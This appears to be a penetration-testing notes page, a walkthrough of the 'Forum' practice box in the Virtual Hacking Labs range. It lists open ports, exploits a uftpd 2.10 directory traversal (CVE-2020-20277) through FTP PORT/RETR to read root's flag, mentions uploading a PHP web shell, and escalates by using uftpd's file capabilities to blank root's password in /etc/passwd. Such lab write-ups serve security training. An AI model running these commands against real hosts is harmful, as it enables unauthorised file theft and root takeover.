Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🔵

Forum — VHL (10.11.1.128)

21/tcp open ftp uftpd 2.10 (anonymous, ftp-bounce working)

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:file-upload#tech:cve

Forum — VHL (10.11.1.128)

Port Enumeration (10.11.1.128)

🐺 howlsec@kali
$21/tcp   open  ftp    uftpd 2.10 (anonymous, ftp-bounce working)
$22/tcp   open  ssh    OpenSSH 8.4p1 Debian
$80/tcp   open  http   Apache 2.4.54 - "Forum"
$3306/tcp open  mysql  MariaDB 10.5.15

Foothold: uftpd 2.10 directory traversal (CVE-2020-20277, exploit-db 51000)

uftpd 2.7-2.10 allows arbitrary file read via an FTP bounce (PORT + RETR with ../). Read root's flag directly:

🐺 howlsec@kali
$nc -nv 10.11.1.128 21
$USER ftp
$PASS ftp
$PORT 172,16,1,1,1,1002        # your Kali IP + listener port
$RETR ../../../root/key.txt    # -> bhjky7fg3ndsk27hf9mi (caught on a listener)

The uftpd_dirtrav.py (Arinerron) tool abuses the same bug to upload shell.php into /var/www/html for a www-data shell.

Privesc: uftpd capability (=ep) -> overwrite /etc/passwd

/usr/local/sbin/uftpd has full file caps. Run it with a writable /etc so the FTP client can overwrite files:

🐺 howlsec@kali
$cd /usr/local/sbin
$./uftpd -o ftp=5555,tftp=5555,writable /etc/
$# From Kali: download /etc/passwd, remove root's 'x' (blank password), re-upload
$ftp 10.11.1.128 5555   # get passwd ; edit to root::0:0:... ; put passwd
$su root    # no password -> root